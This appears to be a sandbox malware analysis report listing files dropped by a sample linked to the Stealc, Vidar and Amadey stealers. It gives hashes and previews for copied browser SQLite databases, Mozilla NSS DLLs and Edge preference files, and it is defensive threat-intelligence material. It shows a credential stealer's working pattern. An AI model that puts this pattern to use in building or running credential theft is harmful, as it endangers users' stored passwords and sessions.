C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	IeccNv7PP6.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, DarkTortilla, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AFHDAKJKFCFBGCBGDHCBAFCAKE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EHCFBFBAEBKJKEBGCAEHCFCBAE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03708713717387235
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxW/Hy4XJwvnzfXfYf6zfTfN/0DApVJCI:58r54w0VW3xW/bXWzvACzbJ0DApVJ
MD5:	85D6E1D7F82C11DAC40C95C06B7B5DC5
SHA1:	96EA790BA7A295D78AD5A5019D7EA5E9E8F4B0BD
SHA-256:	D9AD18D2A91CB42FD55695B562D76337BBB4A6AEB45D28C4554297B4EE0DC800
SHA-512:	5DD2B75138EFB9588E14997D84C23C8225F9BFDCEA6A2A1D542AD2C6728484E7E578F06C4BA238853EAD9BE5F9A7CCCF7B2B49A0583FF93D67F072F2C5165B14
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HCFCAAEBGCAKKFIDBKJJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HDGDGHCA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.264539568805177
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkMeSAELyKOMq+8QTQKC+CVum8:K0q+n0Je9ELyKOMq+8Q7z
MD5:	335D6EB4EF1B7EC736150AC1537AEF4D
SHA1:	EFDBA679416EC782A4213F77248308F4EF0155A9
SHA-256:	3EBCB1D45F46C7F9A94B5B9EAE7AADF2FE60DCF755FFF3F0E9931F1756C97E2F
SHA-512:	0A69676569D68378818D5C68548CFE6F4654EA23906707C9EB5BBC57C466C1E14A5D52A765DAF4B8ABCFF3115A70AC0B9A6545A46DF7ECC539BEA0CA7B6E5B89
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIEBGIDAAFHIJJJJEGCG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1765), with CRLF line terminators
Category:	dropped
Size (bytes):	9976
Entropy (8bit):	5.499944288613473
Encrypted:	false
SSDEEP:	192:NzKneRdpYbBp6znmUzaX/6aRMKWPzDNBw8DK9mSl:Nz5eUmUtgmrwbw0
MD5:	42594FD09C4DF3B174CF5D59B1CAB13A
SHA1:	1B78FEB748C36A592C468A76BB60E98187D7BE4A
SHA-256:	F8B55E3B04E0A59BB745C43763D8FBC1CFFDBC247B5525A489B4B74A57319393
SHA-512:	E2430AB14ADF2EF1CC2CB1F96DEADAFB3598B803A5E7724FDDB68ACF015D7E052291626A3D100FED902731DBFD10A9AE3387581AD2867F64D0B27E8D51B9069F
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "38829aa4-f57e-4fd8-bfd3-d094d57ae30f");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696493966);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696493970);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\JDGIIDHJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1373607036346451
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c9G/k4:MnlyfnGtxnfVuSVumEHUM4
MD5:	64BCCF32ED2142E76D142DF7AAC75730
SHA1:	30AB1540F7909BEE86C0542B2EBD24FB73E5D629
SHA-256:	B274913369030CD83E1C76E8D486F501E349D067824C6A519F2DAB378AD0CC09
SHA-512:	0C2B4FC0D38F97C8411E1541AB15B78C57FEA370F02C17F8CB26101A936F19E636B02AF1DF2A62C8EAEE6B785FE17879E2723D8618C9C3C8BD11EB943BA7AB31
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JDGIIDHJEBGIDHJJDBKE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: IeccNv7PP6.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\07e4f568-43c0-41ad-ac33-f0c2a7d6c3ba.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44641
Entropy (8bit):	6.0948559580158355
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kj1LmZlVkbCSbmFxfKwWE7RTupzKscDX//NPC1os:z/Ps+wsI7ynQdKoRTuiVIos
MD5:	3EE8B6D1B483B58CC5633D9AF76E926A
SHA1:	52225D276B418587557D67AB12576339FD14D147
SHA-256:	549D6CFD6C330092B74B0F1A86E6DDC1140860D9271CDAB5511E9961D1F8C003
SHA-512:	B504D59913CEDA95F2608BA0F6C36032B5D38B1EB044A2B819B797C0DA65E524F96098D8AFB9D15F2CA947044EF4438670538AD52B9163528ECE95A25C75ED80
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\1cb98e81-56c5-411a-b621-fd932782379b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44641
Entropy (8bit):	6.0948559580158355
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kj1LmZlVkbCSbmFxfKwWE7RTupzKscDX//NPC1os:z/Ps+wsI7ynQdKoRTuiVIos
MD5:	3EE8B6D1B483B58CC5633D9AF76E926A
SHA1:	52225D276B418587557D67AB12576339FD14D147
SHA-256:	549D6CFD6C330092B74B0F1A86E6DDC1140860D9271CDAB5511E9961D1F8C003
SHA-512:	B504D59913CEDA95F2608BA0F6C36032B5D38B1EB044A2B819B797C0DA65E524F96098D8AFB9D15F2CA947044EF4438670538AD52B9163528ECE95A25C75ED80
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\260fb67d-73c4-471a-a1a2-c0a65bdfb4ee.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44723
Entropy (8bit):	6.094964501732448
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xF1LmZlViIYfGEIFzfKwWE7RTupzKscDX//NPC1os:z/Ps+wsI7yOGLKoRTuiVIos
MD5:	0D0AD675E83F7EDBAF9E01E92BFFC381
SHA1:	B14DCCA7B82C9EE3B9C3EDA33C295EFC3A2C55BF
SHA-256:	E5327A4B2F90399C65C42258B5E7228A3F13CD5E07645FA6E31C0B5F5E717B14
SHA-512:	43A5F44A57221621698779A5A5D61A8AD021FFC465A58DD8C14AB8CA12E8ECCEF2FA585EB0D474B61845784863F229D923F333BB08F4B1D3CDF8861851B913A6
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\3b9cf1c6-5067-4ccd-8bbb-cdcb57cc6da2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46160
Entropy (8bit):	6.086851829603715
Encrypted:	false
SSDEEP:	768:rMkbJrT8IeQc5dXpeLmZlViIYfGEIFzfIQmxgxC1oQwWE7RTupzKscDX//NqB:rMk1rT8H1XvLIQ9IoQoRTuii
MD5:	4B47704F86801C7EF4845909DB14A3F2
SHA1:	EFA3112BEF2E35BFFBAA9878510E83EDBA4A49FA
SHA-256:	843F323BC79E0D718898B692E2C28D3FD3F2641334C4DE2BFEE17727A5E91A83
SHA-512:	3B4B2E5B4EFB7F1D5B9363DDBE94C134FB49C77D126BE90BF9BFD208918CD84913A0C8F0B5D637EE2281C5DC6862C0ECD54F6B5EA47D9A576530B70A8BC32B9D
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"0ef2c216-6194-4ef8-b3ce-45b0e568ceb4"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732604617"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\332d5c4f-3fb8-4395-9ce3-7e963ada8de0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640132669903667
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7+:fwUQC5VwBIiElEd2K57P7+
MD5:	18D8F6617A5020376CEDA06FB42C24D5
SHA1:	F921FF53D8E1A065550AD835D89E550FDF448795
SHA-256:	C0E1D05E90044F0F5810E83826BE6449D44234CD601668E5E041FE7F3B2CAB32
SHA-512:	4FC6D77BDE79EB4EA56D8CFAEE5908C6D9233E65AD199C52A7425B76ECE9869466D3BE52E2A20B85FE50ABD712C57D8591DEBDDB9F3CBA45070E3233CC185DA4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

